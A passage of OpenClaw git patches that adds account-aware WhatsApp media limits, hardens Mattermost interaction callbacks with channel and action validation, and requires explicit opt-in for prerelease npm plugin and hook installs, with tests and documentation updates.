reply, dispatch } = await setupSingleInboundMessage({ diff --git a/src/web/auto-reply/monitor.ts b/src/web/auto-reply/monitor.ts index b7e2bb2683f..66b9c0fd993 100644 --- a/src/web/auto-reply/monitor.ts +++ b/src/web/auto-reply/monitor.ts @@ -12,7 +12,7 @@ import { registerUnhandledRejectionHandler } from "../../infra/unhandled-rejecti import { getChildLogger } from "../../logging.js"; import { resolveAgentRoute } from "../../routing/resolve-route.js"; import { defaultRuntime, type RuntimeEnv } from "../../runtime.js"; -import { resolveWhatsAppAccount } from "../accounts.js"; +import { resolveWhatsAppAccount, resolveWhatsAppMediaMaxBytes } from "../accounts.js"; import { setActiveWebListener } from "../active-listener.js"; import { monitorWebInbox } from "../inbound.js"; import { @@ -23,7 +23,6 @@ import { sleepWithAbort, } from "../reconnect.js"; import { formatError, getWebAuthAgeMs, readWebSelfId } from "../session.js"; -import { DEFAULT_WEB_MEDIA_BYTES } from "./constants.js"; import { whatsappHeartbeatLog, whatsappLog } from "./loggers.js"; import { buildMentionConfig } from "./mentions.js"; import { createEchoTracker } from "./monitor/echo.js"; @@ -93,11 +92,7 @@ export async function monitorWebChannel( }, } satisfies ReturnType; - const configuredMaxMb = cfg.agents?.defaults?.mediaMaxMb; - const maxMediaBytes = - typeof configuredMaxMb === "number" && configuredMaxMb > 0 - ? configuredMaxMb * 1024 * 1024 - : DEFAULT_WEB_MEDIA_BYTES; + const maxMediaBytes = resolveWhatsAppMediaMaxBytes(account); const heartbeatSeconds = resolveHeartbeatSeconds(cfg, tuning.heartbeatSeconds); const reconnectPolicy = resolveReconnectPolicy(cfg, tuning.reconnect); const baseMentionConfig = buildMentionConfig(cfg); diff --git a/src/web/outbound.test.ts b/src/web/outbound.test.ts index e60d15158fc..e494392d750 100644 --- a/src/web/outbound.test.ts +++ b/src/web/outbound.test.ts @@ -3,6 +3,7 @@ import fsSync from "node:fs"; import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; import { resetLogger, setLoggerOverride } from "../logging.js"; import { redactIdentifier } from "../logging/redact-identifier.js"; import { setActiveWebListener } from "./active-listener.js"; @@ -34,6 +35,7 @@ describe("web outbound", () => { resetLogger(); setLoggerOverride(null); setActiveWebListener(null); + setActiveWebListener("work", null); }); it("sends message via active listener", async () => { @@ -140,6 +142,46 @@ describe("web outbound", () => { }); }); + it("uses account-aware WhatsApp media caps for outbound uploads", async () => { + setActiveWebListener("work", { + sendComposingTo, + sendMessage, + sendPoll, + sendReaction, + }); + loadWebMediaMock.mockResolvedValueOnce({ + buffer: Buffer.from("img"), + contentType: "image/jpeg", + kind: "image", + }); + + const cfg = { + channels: { + whatsapp: { + mediaMaxMb: 25, + accounts: { + work: { + mediaMaxMb: 100, + }, + }, + }, + }, + } as OpenClawConfig; + + await sendMessageWhatsApp("+1555", "pic", { + verbose: false, + accountId: "work", + cfg, + mediaUrl: "/tmp/pic.jpg", + mediaLocalRoots: ["/tmp/workspace"], + }); + + expect(loadWebMediaMock).toHaveBeenCalledWith("/tmp/pic.jpg", { + maxBytes: 100 * 1024 * 1024, + localRoots: ["/tmp/workspace"], + }); + }); + it("sends polls via active listener", async () => { const result = await sendPollWhatsApp( "+1555", diff --git a/src/web/outbound.ts b/src/web/outbound.ts index 95cc84b1f11..43136c6f779 100644 --- a/src/web/outbound.ts +++ b/src/web/outbound.ts @@ -8,6 +8,7 @@ import { convertMarkdownTables } from "../markdown/tables.js"; import { markdownToWhatsApp } from "../markdown/whatsapp.js"; import { normalizePollInput, type PollInput } from "../polls.js"; import { toWhatsappJid } from "../utils.js"; +import { resolveWhatsAppAccount, resolveWhatsAppMediaMaxBytes } from "./accounts.js"; import { type ActiveWebSendOptions, requireActiveWebListener } from "./active-listener.js"; import { loadWebMedia } from "./media.js"; @@ -32,6 +33,10 @@ export async function sendMessageWhatsApp( options.accountId, ); const cfg = options.cfg ?? loadConfig(); + const account = resolveWhatsAppAccount({ + cfg, + accountId: resolvedAccountId ?? options.accountId, + }); const tableMode = resolveMarkdownTableMode({ cfg, channel: "whatsapp", @@ -53,6 +58,7 @@ export async function sendMessageWhatsApp( let documentFileName: string | undefined; if (options.mediaUrl) { const media = await loadWebMedia(options.mediaUrl, { + maxBytes: resolveWhatsAppMediaMaxBytes(account), localRoots: options.mediaLocalRoots, }); const caption = text || undefined; From a274ef929fb7a7b580f13ce53ea37add3dce4355 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 11:08:45 -0500 Subject: [PATCH 024/844] Mattermost: harden interaction callback binding (#38057) --- extensions/mattermost/src/channel.ts | 15 ++- .../src/mattermost/interactions.test.ts | 96 ++++++++++++++++++- .../mattermost/src/mattermost/interactions.ts | 92 ++++++++++++------ .../mattermost/src/mattermost/monitor.ts | 2 +- extensions/mattermost/src/mattermost/send.ts | 46 +++++++-- 5 files changed, 212 insertions(+), 39 deletions(-) diff --git a/extensions/mattermost/src/channel.ts b/extensions/mattermost/src/channel.ts index 00e4c69e0f7..16df4f2ebcd 100644 --- a/extensions/mattermost/src/channel.ts +++ b/extensions/mattermost/src/channel.ts @@ -34,11 +34,13 @@ import { import { monitorMattermostProvider } from "./mattermost/monitor.js"; import { probeMattermost } from "./mattermost/probe.js"; import { addMattermostReaction, removeMattermostReaction } from "./mattermost/reactions.js"; -import { sendMessageMattermost } from "./mattermost/send.js"; +import { resolveMattermostSendChannelId, sendMessageMattermost } from "./mattermost/send.js"; import { looksLikeMattermostTargetId, normalizeMattermostMessagingTarget } from "./normalize.js"; import { mattermostOnboardingAdapter } from "./onboarding.js"; import { getMattermostRuntime } from "./runtime.js"; +const SIGNED_CHANNEL_ID_CONTEXT_KEY = "__openclaw_channel_id"; + const mattermostMessageActions: ChannelMessageActionAdapter = { listActions: ({ cfg }) => { const enabledAccounts = listMattermostAccountIds(cfg) @@ -165,6 +167,10 @@ const mattermostMessageActions: ChannelMessageActionAdapter = { if (params.buttons && Array.isArray(params.buttons)) { const account = resolveMattermostAccount({ cfg, accountId: resolvedAccountId }); if (account.botToken) setInteractionSecret(account.accountId, account.botToken); + const channelId = await resolveMattermostSendChannelId(to, { + cfg, + accountId: account.accountId, + }); const callbackUrl = resolveInteractionCallbackUrl(account.accountId, { gateway: cfg.gateway, interactions: account.config.interactions, @@ -184,8 +190,11 @@ const mattermostMessageActions: ChannelMessageActionAdapter = { style: (btn.style as "default" | "primary" | "danger") ?? "default", context: typeof btn.context === "object" && btn.context !== null - ? (btn.context as Record) - : undefined, + ? { + ...(btn.context as Record), + [SIGNED_CHANNEL_ID_CONTEXT_KEY]: channelId, + } + : { [SIGNED_CHANNEL_ID_CONTEXT_KEY]: channelId }, })) .filter((btn) => btn.id && btn.name); diff --git a/extensions/mattermost/src/mattermost/interactions.test.ts b/extensions/mattermost/src/mattermost/interactions.test.ts index 19d39676a27..9da60273d63 100644 --- a/extensions/mattermost/src/mattermost/interactions.test.ts +++ b/extensions/mattermost/src/mattermost/interactions.test.ts @@ -448,7 +448,7 @@ describe("createMattermostInteractionHandler", () => { } it("accepts non-localhost requests when the interaction token is valid", async () => { - const context = { action_id: "approve" }; + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; const token = generateInteractionToken(context, "acct"); const requestLog: Array<{ path: string; method?: string }> = []; const handler = createMattermostInteractionHandler({ @@ -459,6 +459,7 @@ describe("createMattermostInteractionHandler", () => { return { id: "post-1" }; } return { + channel_id: "chan-1", message: "Choose", props: { attachments: [{ actions: [{ id: "approve", name: "Approve" }] }], @@ -516,4 +517,97 @@ describe("createMattermostInteractionHandler", () => { expect(res.statusCode).toBe(403); expect(res.body).toContain("Invalid token"); }); + + it("rejects requests when the signed channel does not match the callback payload", async () => { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const handler = createMattermostInteractionHandler({ + client: { + request: async () => ({ message: "unused" }), + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); + + const req = createReq({ + body: { + user_id: "user-1", + channel_id: "chan-2", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Channel mismatch"); + }); + + it("rejects requests when the fetched post does not belong to the callback channel", async () => { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const handler = createMattermostInteractionHandler({ + client: { + request: async () => ({ + channel_id: "chan-9", + message: "Choose", + props: { + attachments: [{ actions: [{ id: "approve", name: "Approve" }] }], + }, + }), + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); + + const req = createReq({ + body: { + user_id: "user-1", + channel_id: "chan-1", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Post/channel mismatch"); + }); + + it("rejects requests when the action is not present on the fetched post", async () => { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const handler = createMattermostInteractionHandler({ + client: { + request: async () => ({ + channel_id: "chan-1", + message: "Choose", + props: { + attachments: [{ actions: [{ id: "reject", name: "Reject" }] }], + }, + }), + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); + + const req = createReq({ + body: { + user_id: "user-1", + channel_id: "chan-1", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Unknown action"); + }); }); diff --git a/extensions/mattermost/src/mattermost/interactions.ts b/extensions/mattermost/src/mattermost/interactions.ts index 33415ae519c..5ca911fbeb6 100644 --- a/extensions/mattermost/src/mattermost/interactions.ts +++ b/extensions/mattermost/src/mattermost/interactions.ts @@ -6,6 +6,7 @@ import { updateMattermostPost, type MattermostClient } from "./client.js"; const INTERACTION_MAX_BODY_BYTES = 64 * 1024; const INTERACTION_BODY_TIMEOUT_MS = 10_000; +const SIGNED_CHANNEL_ID_CONTEXT_KEY = "__openclaw_channel_id"; /** * Mattermost interactive message callback payload. @@ -363,6 +364,69 @@ export function createMattermostInteractionHandler(params: { return; } + const signedChannelId = + typeof contextWithoutToken[SIGNED_CHANNEL_ID_CONTEXT_KEY] === "string" + ? contextWithoutToken[SIGNED_CHANNEL_ID_CONTEXT_KEY].trim() + : ""; + if (signedChannelId && signedChannelId !== payload.channel_id) { + log?.( + `mattermost interaction: signed channel mismatch payload=${payload.channel_id} signed=${signedChannelId}`, + ); + res.statusCode = 403; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Channel mismatch" })); + return; + } + + const userName = payload.user_name ?? payload.user_id; + let originalMessage = ""; + let clickedButtonName = actionId; + try { + const originalPost = await client.request<{ + channel_id?: string | null; + message?: string; + props?: Record; + }>(`/posts/${payload.post_id}`); + const postChannelId = originalPost.channel_id?.trim(); + if (!postChannelId || postChannelId !== payload.channel_id) { + log?.( + `mattermost interaction: post channel mismatch payload=${payload.channel_id} post=${postChannelId ?? ""}`, + ); + res.statusCode = 403; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Post/channel mismatch" })); + return; + } + originalMessage = originalPost.message ?? ""; + + // Ensure the callback can only target an action that exists on the original post. + const postAttachments = Array.isArray(originalPost?.props?.attachments) + ? (originalPost.props.attachments as Array<{ + actions?: Array<{ id?: string; name?: string }>; + }>) + : []; + for (const att of postAttachments) { + const match = att.actions?.find((a) => a.id === actionId); + if (match?.name) { + clickedButtonName = match.name; + break; + } + } + if (clickedButtonName === actionId) { + log?.(`mattermost interaction: action ${actionId} not found in post ${payload.post_id}`); + res.statusCode = 403; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Unknown action" })); + return; + } + } catch (err) { + log?.(`mattermost interaction: failed to validate post ${payload.post_id}: ${String(err)}`); + res.statusCode = 500; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Failed to validate interaction" })); + return; + } + log?.( `mattermost interaction: action=${actionId} user=${payload.user_name ?? payload.user_id} ` + `post=${payload.post_id} channel=${payload.channel_id}`, @@ -389,34 +453,6 @@ export function createMattermostInteractionHandler(params: { log?.(`mattermost interaction: system event dispatch failed: ${String(err)}`); } - // Fetch the original post to preserve its message and find the clicked button name. - const userName = payload.user_name ?? payload.user_id; - let originalMessage = ""; - let clickedButtonName = actionId; // fallback to action ID if we can't find the name - try { - const originalPost = await client.request<{ - message?: string; - props?: Record; - }>(`/posts/${payload.post_id}`); - originalMessage = originalPost?.message ?? ""; - - // Find the clicked button's display name from the original attachments - const postAttachments = Array.isArray(originalPost?.props?.attachments) - ? (originalPost.props.attachments as Array<{ - actions?: Array<{ id?: string; name?: string }>; - }>) - : []; - for (const att of postAttachments) { - const match = att.actions?.find((a) => a.id === actionId); - if (match?.name) { - clickedButtonName = match.name; - break; - } - } - } catch (err) { - log?.(`mattermost interaction: failed to fetch post ${payload.post_id}: ${String(err)}`); - } - // Update the post via API to replace buttons with a completion indicator. try { await updateMattermostPost(client, payload.post_id, { diff --git a/extensions/mattermost/src/mattermost/monitor.ts b/extensions/mattermost/src/mattermost/monitor.ts index 4ce11a6a003..e5a2c91263b 100644 --- a/extensions/mattermost/src/mattermost/monitor.ts +++ b/extensions/mattermost/src/mattermost/monitor.ts @@ -544,7 +544,7 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} Surface: "mattermost" as const, MessageSid: `interaction:${opts.postId}:${opts.actionId}`, WasMentioned: true, - CommandAuthorized: true, + CommandAuthorized: false, OriginatingChannel: "mattermost" as const, OriginatingTo: to, }); diff --git a/extensions/mattermost/src/mattermost/send.ts b/extensions/mattermost/src/mattermost/send.ts index 9011abbd27e..b4db4550c86 100644 --- a/extensions/mattermost/src/mattermost/send.ts +++ b/extensions/mattermost/src/mattermost/send.ts @@ -205,13 +205,19 @@ async function resolveTargetChannelId(params: { return channel.id; } -export async function sendMessageMattermost( +type MattermostSendContext = { + cfg: OpenClawConfig; + accountId: string; + token: string; + baseUrl: string; + channelId: string; +}; + +async function resolveMattermostSendContext( to: string, - text: string, opts: MattermostSendOpts = {}, -): Promise { +): Promise { const core = getCore(); - const logger = core.logging.getChildLogger({ module: "mattermost" }); const cfg = opts.cfg ?? core.config.loadConfig(); const account = resolveMattermostAccount({ cfg, @@ -237,6 +243,34 @@ export async function sendMessageMattermost( token, }); + return { + cfg, + accountId: account.accountId, + token, + baseUrl, + channelId, + }; +} + +export async function resolveMattermostSendChannelId( + to: string, + opts: MattermostSendOpts = {}, +): Promise { + return (await resolveMattermostSendContext(to, opts)).channelId; +} + +export async function sendMessageMattermost( + to: string, + text: string, + opts: MattermostSendOpts = {}, +): Promise { + const core = getCore(); + const logger = core.logging.getChildLogger({ module: "mattermost" }); + const { cfg, accountId, token, baseUrl, channelId } = await resolveMattermostSendContext( + to, + opts, + ); + const client = createMattermostClient({ baseUrl, botToken: token }); let message = text?.trim() ?? ""; let fileIds: string[] | undefined; @@ -269,7 +303,7 @@ export async function sendMessageMattermost( const tableMode = core.channel.text.resolveMarkdownTableMode({ cfg, channel: "mattermost", - accountId: account.accountId, + accountId, }); message = core.channel.text.convertMarkdownTables(message, tableMode); } @@ -291,7 +325,7 @@ export async function sendMessageMattermost( core.channel.activity.record({ channel: "mattermost", - accountId: account.accountId, + accountId, direction: "outbound", }); From f392b81e9502e9770360201650bf1d3c29defc68 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 11:13:30 -0500 Subject: [PATCH 025/844] Infra: require explicit opt-in for prerelease npm installs (#38117) * Infra: tighten npm registry spec parsing * Infra: block implicit prerelease npm installs * Plugins: cover prerelease install policy * Infra: add npm registry spec tests * Hooks: cover prerelease install policy * Docs: clarify plugin guide version policy * Docs: clarify plugin install version policy * Docs: clarify hooks install version policy * Docs: clarify hook pack version policy --- docs/automation/hooks.md | 7 +- docs/cli/hooks.md | 9 +- docs/cli/plugins.md | 10 +- docs/tools/plugin.md | 8 +- src/hooks/install.test.ts | 22 +++++ src/infra/npm-pack-install.ts | 27 ++++++ src/infra/npm-registry-spec.test.ts | 69 ++++++++++++++ src/infra/npm-registry-spec.ts | 136 ++++++++++++++++++++++++---- src/plugins/install.test.ts | 74 +++++++++++++++ 9 files changed, 337 insertions(+), 25 deletions(-) create mode 100644 src/infra/npm-registry-spec.test.ts diff --git a/docs/automation/hooks.md b/docs/automation/hooks.md index d89838f6105..deda79d3db5 100644 --- a/docs/automation/hooks.md +++ b/docs/automation/hooks.md @@ -103,7 +103,12 @@ Hook packs are standard npm packages that export one or more hooks via `openclaw openclaw hooks install ``` -Npm specs are registry-only (package name + optional version/tag). Git/URL/file specs are rejected. +Npm specs are registry-only (package name + optional exact version or dist-tag). +Git/URL/file specs and semver ranges are rejected. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version. Example `package.json`: diff --git a/docs/cli/hooks.md b/docs/cli/hooks.md index 6dadb26970e..8aaaa6fd63d 100644 --- a/docs/cli/hooks.md +++ b/docs/cli/hooks.md @@ -193,8 +193,13 @@ openclaw hooks install --pin Install a hook pack from a local folder/archive or npm. -Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file -specs are rejected. Dependency installs run with `--ignore-scripts` for safety. +Npm specs are **registry-only** (package name + optional **exact version** or +**dist-tag**). Git/URL/file specs and semver ranges are rejected. Dependency +installs run with `--ignore-scripts` for safety. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version. **What it does:** diff --git a/docs/cli/plugins.md b/docs/cli/plugins.md index 0934a0289c6..0b054f5a4aa 100644 --- a/docs/cli/plugins.md +++ b/docs/cli/plugins.md @@ -45,8 +45,14 @@ openclaw plugins install --pin Security note: treat plugin installs like running code. Prefer pinned versions. -Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file -specs are rejected. Dependency installs run with `--ignore-scripts` for safety. +Npm specs are **registry-only** (package name + optional **exact version** or +**dist-tag**). Git/URL/file specs and semver ranges are rejected. Dependency +installs run with `--ignore-scripts` for safety. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version such as +`@1.2.3-beta.4`. If a bare install spec matches a bundled plugin id (for example `diffs`), OpenClaw installs the bundled plugin directly. To install an npm package with the same diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index f40a0540a42..d709f9227c8 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -31,8 +31,12 @@ openclaw plugins list openclaw plugins install @openclaw/voice-call ``` -Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file -specs are rejected. +Npm specs are **registry-only** (package name + optional **exact version** or +**dist-tag**). Git/URL/file specs and semver ranges are rejected. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version. 3. Restart the Gateway, then configure under `plugins.entries..config`. diff --git a/src/hooks/install.test.ts b/src/hooks/install.test.ts index ad179d5af21..2dba56b1d3b 100644 --- a/src/hooks/install.test.ts +++ b/src/hooks/install.test.ts @@ -409,6 +409,28 @@ describe("installHooksFromNpmSpec", () => { actualIntegrity: "sha512-new", }); }); + + it("rejects bare npm specs that resolve to prerelease versions", async () => { + const run = vi.mocked(runCommandWithTimeout); + mockNpmPackMetadataResult(run, { + id: "@openclaw/test-hooks@0.0.2-beta.1", + name: "@openclaw/test-hooks", + version: "0.0.2-beta.1", + filename: "test-hooks-0.0.2-beta.1.tgz", + integrity: "sha512-beta", + shasum: "betashasum", + }); + + const result = await installHooksFromNpmSpec({ + spec: "@openclaw/test-hooks", + logger: { info: () => {}, warn: () => {} }, + }); + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toContain("prerelease version 0.0.2-beta.1"); + expect(result.error).toContain('"@openclaw/test-hooks@beta"'); + } + }); }); describe("gmail watcher", () => { diff --git a/src/infra/npm-pack-install.ts b/src/infra/npm-pack-install.ts index f343653c415..e7c8f97ca84 100644 --- a/src/infra/npm-pack-install.ts +++ b/src/infra/npm-pack-install.ts @@ -8,6 +8,11 @@ import { type NpmIntegrityDriftPayload, resolveNpmIntegrityDriftWithDefaultMessage, } from "./npm-integrity.js"; +import { + formatPrereleaseResolutionError, + isPrereleaseResolutionAllowed, + parseRegistryNpmSpec, +} from "./npm-registry-spec.js"; export type NpmSpecArchiveInstallFlowResult = | { @@ -94,6 +99,13 @@ export async function installFromNpmSpecArchive installFromArchive: (params: { archivePath: string }) => Promise; }): Promise> { return await withTempDir(params.tempDirPrefix, async (tmpDir) => { + const parsedSpec = parseRegistryNpmSpec(params.spec); + if (!parsedSpec) { + return { + ok: false, + error: "unsupported npm spec", + }; + } const packedResult = await packNpmSpecToArchive({ spec: params.spec, timeoutMs: params.timeoutMs, @@ -107,6 +119,21 @@ export async function installFromNpmSpecArchive ...packedResult.metadata, resolvedAt: new Date().toISOString(), }; + if ( + npmResolution.version && + !isPrereleaseResolutionAllowed({ + spec: parsedSpec, + resolvedVersion: npmResolution.version, + }) + ) { + return { + ok: false, + error: formatPrereleaseResolutionError({ + spec: parsedSpec, + resolvedVersion: npmResolution.version, + }), + }; + } const driftResult = await resolveNpmIntegrityDriftWithDefaultMessage({ spec: params.spec, diff --git a/src/infra/npm-registry-spec.test.ts b/src/infra/npm-registry-spec.test.ts new file mode 100644 index 00000000000..8c0b62c5667 --- /dev/null +++ b/src/infra/npm-registry-spec.test.ts @@ -0,0 +1,69 @@ +import { describe, expect, it } from "vitest"; +import { + isPrereleaseResolutionAllowed, + parseRegistryNpmSpec, + validateRegistryNpmSpec, +} from "./npm-registry-spec.js"; + +describe("npm registry spec validation", () => { + it("accepts bare package names, exact versions, and dist-tags", () => { + expect(validateRegistryNpmSpec("@openclaw/voice-call")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@1.2.3")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@1.2.3-beta.4")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@latest")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@beta")).toBeNull(); + }); + + it("rejects semver ranges", () => { + expect(validateRegistryNpmSpec("@openclaw/voice-call@^1.2.3")).toContain( + "exact version or dist-tag", + ); + expect(validateRegistryNpmSpec("@openclaw/voice-call@~1.2.3")).toContain( + "exact version or dist-tag", + ); + }); +}); + +describe("npm prerelease resolution policy", () => { + it("blocks prerelease resolutions for bare specs", () => { + const spec = parseRegistryNpmSpec("@openclaw/voice-call"); + expect(spec).not.toBeNull(); + expect( + isPrereleaseResolutionAllowed({ + spec: spec!, + resolvedVersion: "1.2.3-beta.1", + }), + ).toBe(false); + }); + + it("blocks prerelease resolutions for latest", () => { + const spec = parseRegistryNpmSpec("@openclaw/voice-call@latest"); + expect(spec).not.toBeNull(); + expect( + isPrereleaseResolutionAllowed({ + spec: spec!, + resolvedVersion: "1.2.3-rc.1", + }), + ).toBe(false); + }); + + it("allows prerelease resolutions when the user explicitly opted in", () => { + const tagSpec = parseRegistryNpmSpec("@openclaw/voice-call@beta"); + const versionSpec = parseRegistryNpmSpec("@openclaw/voice-call@1.2.3-beta.1"); + + expect(tagSpec).not.toBeNull(); + expect(versionSpec).not.toBeNull(); + expect( + isPrereleaseResolutionAllowed({ + spec: tagSpec!, + resolvedVersion: "1.2.3-beta.4", + }), + ).toBe(true); + expect( + isPrereleaseResolutionAllowed({ + spec: versionSpec!, + resolvedVersion: "1.2.3-beta.1", + }), + ).toBe(true); + }); +}); diff --git a/src/infra/npm-registry-spec.ts b/src/infra/npm-registry-spec.ts index 5861d301717..622382d05e8 100644 --- a/src/infra/npm-registry-spec.ts +++ b/src/infra/npm-registry-spec.ts @@ -1,41 +1,141 @@ -export function validateRegistryNpmSpec(rawSpec: string): string | null { +const EXACT_SEMVER_VERSION_RE = + /^v?(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-([0-9A-Za-z.-]+))?(?:\+([0-9A-Za-z.-]+))?$/; +const DIST_TAG_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/; + +export type ParsedRegistryNpmSpec = { + name: string; + raw: string; + selector?: string; + selectorKind: "none" | "exact-version" | "tag"; + selectorIsPrerelease: boolean; +}; + +function parseRegistryNpmSpecInternal( + rawSpec: string, +): { ok: true; parsed: ParsedRegistryNpmSpec } | { ok: false; error: string } { const spec = rawSpec.trim(); if (!spec) { - return "missing npm spec"; + return { ok: false, error: "missing npm spec" }; } if (/\s/.test(spec)) { - return "unsupported npm spec: whitespace is not allowed"; + return { ok: false, error: "unsupported npm spec: whitespace is not allowed" }; } // Registry-only: no URLs, git, file, or alias protocols. // Keep strict: this runs on the gateway host. if (spec.includes("://")) { - return "unsupported npm spec: URLs are not allowed"; + return { ok: false, error: "unsupported npm spec: URLs are not allowed" }; } if (spec.includes("#")) { - return "unsupported npm spec: git refs are not allowed"; + return { ok: false, error: "unsupported npm spec: git refs are not allowed" }; } if (spec.includes(":")) { - return "unsupported npm spec: protocol specs are not allowed"; + return { ok: false, error: "unsupported npm spec: protocol specs are not allowed" }; } const at = spec.lastIndexOf("@"); - const hasVersion = at > 0; - const name = hasVersion ? spec.slice(0, at) : spec; - const version = hasVersion ? spec.slice(at + 1) : ""; + const hasSelector = at > 0; + const name = hasSelector ? spec.slice(0, at) : spec; + const selector = hasSelector ? spec.slice(at + 1) : ""; const unscopedName = /^[a-z0-9][a-z0-9-._~]*$/; const scopedName = /^@[a-z0-9][a-z0-9-._~]*\/[a-z0-9][a-z0-9-._~]*$/; const isValidName = name.startsWith("@") ? scopedName.test(name) : unscopedName.test(name); if (!isValidName) { - return "unsupported npm spec: expected or @ from the npm registry"; + return { + ok: false, + error: "unsupported npm spec: expected or @ from the npm registry", + }; } - if (hasVersion) { - if (!version) { - return "unsupported npm spec: missing version/tag after @"; - } - if (/[\\/]/.test(version)) { - return "unsupported npm spec: invalid version/tag"; - } + if (!hasSelector) { + return { + ok: true, + parsed: { + name, + raw: spec, + selectorKind: "none", + selectorIsPrerelease: false, + }, + }; } - return null; + if (!selector) { + return { ok: false, error: "unsupported npm spec: missing version/tag after @" }; + } + if (/[\\/]/.test(selector)) { + return { ok: false, error: "unsupported npm spec: invalid version/tag" }; + } + const exactVersionMatch = EXACT_SEMVER_VERSION_RE.exec(selector); + if (exactVersionMatch) { + return { + ok: true, + parsed: { + name, + raw: spec, + selector, + selectorKind: "exact-version", + selectorIsPrerelease: Boolean(exactVersionMatch[4]), + }, + }; + } + if (!DIST_TAG_RE.test(selector)) { + return { + ok: false, + error: "unsupported npm spec: use an exact version or dist-tag (ranges are not allowed)", + }; + } + return { + ok: true, + parsed: { + name, + raw: spec, + selector, + selectorKind: "tag", + selectorIsPrerelease: false, + }, + }; +} + +export function parseRegistryNpmSpec(rawSpec: string): ParsedRegistryNpmSpec | null { + const parsed = parseRegistryNpmSpecInternal(rawSpec); + return parsed.ok ? parsed.parsed : null; +} + +export function validateRegistryNpmSpec(rawSpec: string): string | null { + const parsed = parseRegistryNpmSpecInternal(rawSpec); + return parsed.ok ? null : parsed.error; +} + +export function isExactSemverVersion(value: string): boolean { + return EXACT_SEMVER_VERSION_RE.test(value.trim()); +} + +export function isPrereleaseSemverVersion(value: string): boolean { + const match = EXACT_SEMVER_VERSION_RE.exec(value.trim()); + return Boolean(match?.[4]); +} + +export function isPrereleaseResolutionAllowed(params: { + spec: ParsedRegistryNpmSpec; + resolvedVersion?: string; +}): boolean { + if (!params.resolvedVersion || !isPrereleaseSemverVersion(params.resolvedVersion)) { + return true; + } + if (params.spec.selectorKind === "none") { + return false; + } + if (params.spec.selectorKind === "exact-version") { + return params.spec.selectorIsPrerelease; + } + return params.spec.selector?.toLowerCase() !== "latest"; +} + +export function formatPrereleaseResolutionError(params: { + spec: ParsedRegistryNpmSpec; + resolvedVersion: string; +}): string { + const selectorHint = + params.spec.selectorKind === "none" || params.spec.selector?.toLowerCase() === "latest" + ? `Use "${params.spec.name}@beta" (or another prerelease tag) or an exact prerelease version to opt in explicitly.` + : `Use an explicit prerelease tag or exact prerelease version if you want prerelease installs.`; + return `Resolved ${params.spec.raw} to prerelease version ${params.resolvedVersion}, but prereleases are only installed when explicitly requested. ${selectorHint}`; } diff --git a/src/plugins/install.test.ts b/src/plugins/install.test.ts index 40ce9b18f99..5f698a8e64b 100644 --- a/src/plugins/install.test.ts +++ b/src/plugins/install.test.ts @@ -858,4 +858,78 @@ describe("installPluginFromNpmSpec", () => { expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.NPM_PACKAGE_NOT_FOUND); } }); + + it("rejects bare npm specs that resolve to prerelease versions", async () => { + const run = vi.mocked(runCommandWithTimeout); + mockNpmPackMetadataResult(run, { + id: "@openclaw/voice-call@0.0.2-beta.1", + name: "@openclaw/voice-call", + version: "0.0.2-beta.1", + filename: "voice-call-0.0.2-beta.1.tgz", + integrity: "sha512-beta", + shasum: "betashasum", + }); + + const result = await installPluginFromNpmSpec({ + spec: "@openclaw/voice-call", + logger: { info: () => {}, warn: () => {} }, + }); + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toContain("prerelease version 0.0.2-beta.1"); + expect(result.error).toContain('"@openclaw/voice-call@beta"'); + } + 